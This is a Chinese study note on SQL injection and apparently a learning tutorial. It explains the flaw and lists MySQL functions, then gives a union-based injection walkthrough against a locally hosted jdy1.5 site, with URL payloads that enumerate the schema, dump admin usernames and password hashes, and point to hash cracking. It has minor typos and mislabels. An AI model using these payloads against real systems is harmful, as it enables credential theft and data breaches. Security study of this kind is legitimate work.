(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
一、介绍
1.SQL注入漏洞的本质:后端代码再执行过程中,将用户输入的数据也当作代码来执行,违背代码和数据相分离原则
2.注入的原因:前端传递的参数可以随意控制,参数可控;后端对前端传递过来的数据没有过滤,或过滤不严谨,最终导致SQL注入
3.SQL注入漏洞有两个关键条件:
- 用户能控制输入的内容
- Web应用把用户输入的内容带入到数据库中执行
4.危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell等等
5.分类:
- 请求方式:get post cookie
- 参数形式:整型 字符型 搜索
- 反馈类型:报错 union 布尔(时间或页面显示状态) 延时
- 数据库类型:access mssql mysql oracle nosql等等
- 利用技术:布尔 报错 内联 堆叠 时间 联合、
二、常用的数据库函数以及常量
1.@@tmpdir 查看临时目录
2.@@datadir 数据存放的位置
3.@@basedir 数据库服务所在位置
4.@@version 查看版本号
5.@@hostname 查看当前用户名
6.ascii() 返回字符串str的最左字符的数值
7.user() 获取登陆用户名
8.version() 获取当前版本号
9.database() 获取当前数据库
10.concat() 将多个字符串连接成一个字符串
11.group_concat() 将group by产生的同一个分组中的值连接起来,返回一个字符串结果
12.concat_ws() 将多个字符串连接成一个字符串
13.截取字符串:
- substr() oracle mysql mssql
- substring() MySQL mssql
- mid() mysql
- 注意:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度
- left(pa1,pa2) pa1是被截取的字符串,从左开始截取,pa2是截取的位数
- right(pa1,pa2) pa1是被截取的字符串,从右开始截取,pa2是截取的位数
15.sleep() 休眠
16.ord() 显示字符的ASCII
17.条件判断:
- if(条件,条件为真时的返回值或语句,条件为假时的返回值或语句)
- case when 条件 then 条件为真时的返回值或语句 else 条件为假时的返回值或语句 end
- 如:select 1,case when 1=1 then ‘hello’ else ‘goodbye’ end,3 --+
19.length() 计算字符串长度
20.联合查询
- select * from users where id=1 union select “a”,”b”,”c”;
- select * from users where id=0.01 union selcet 1,2,user(),4,@@databases;
三、MySQL数据库:一库一表三字段
1.一库:information_schema库 存放系统库,汇总(其他数据库的库名、表名、字段名)
2.一表:columns表 存放数据(库名、表名、字段名)
3.三字段:
- table_schema字段 存放其他数据库的库名
- table_name字段 存放其他数据库的表名
- column_name字段 存放其他数据库的字段名
1 select table_schema table_name column_name from information_schema.columns; 查询三字段所对应的数据 2 select table_schema table_name column_name from information_schema.columns where table_schema=”dvwa”; 有条件的查询 3 select table_schema table_name column_name from information_schema.columns where table_schema=0x64767761; 将dvwa转为16进制
注:MySQL的版本号需要>5.0
四、手工注入
- 测试使用搭建的jdy1.5网站
1.检测注入点:即可能存在SQL注入的地方,找到有类似id(id/uid/key、typeid/sid等等)的参数,后面需要输入一些检测的恶意代码(payload):' 或 'and 1=1# 或 'and 1=2-- 或 -1' or '1'='1'等等
- 需不需要单引号,是由后端拼接的SQL语句决定的,如(%23是#的URL编码):
1 SELECT * FROM users WHERE id='$id' LIMIT 0,1 2 前端测试: id=1’ and 1=1%23 3 SELECT * FROM users WHERE id=$id LIMIT 0,1 4 前端测试:id=1 and 1=1%23
- 输入的恶意代码被成功执行(根据页面显示效果以及报错信息等来判断),说明此处有SQL注入点
- 接下来还要判断注入的方式:根据页面的回显效果来决定使用哪种注入技术
- 判断从后台数据库中选择的列数以及哪几列在前端显示
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=1 order by 6#
- 更换数字,根据页面显示效果判断后台数据库选择的列数,5列(信息收集)
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,2,3,4,5%23
- 根据页面显示效果可知在2的位置显示到前端,即可将2替换为SQL语句
2.收集后台数据库信息
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,user(),3,4,5%23 查看当前用户 2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,database(),3,4,5%23 查看当前数据库 3 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23 4 distinct 去重 5 group_concat 分组并拼接 6 空格可以用+代替
3.获取当前数据库下的数据表
http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=database()),3,4,5%23
4.获取当前数据库下指定表下的字段名
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=’jdy_admin’),3,4,5%23 2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e),3,4,5%23
- 一般需要找后台或敏感的数据表,0x6a6479636d73是‘jdycms’的16进制转码
5.获取字段数据
1 select concat(username,0x7e,password)from jdy_admin limit 0,1; 2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select concat(username,0x7e,password)from jdy_admin limit 0,1),3,4,5%23
6.解密:使用cmd5、pmd5等等
7.找后台登录:可以猜、目录扫描或信息收集等等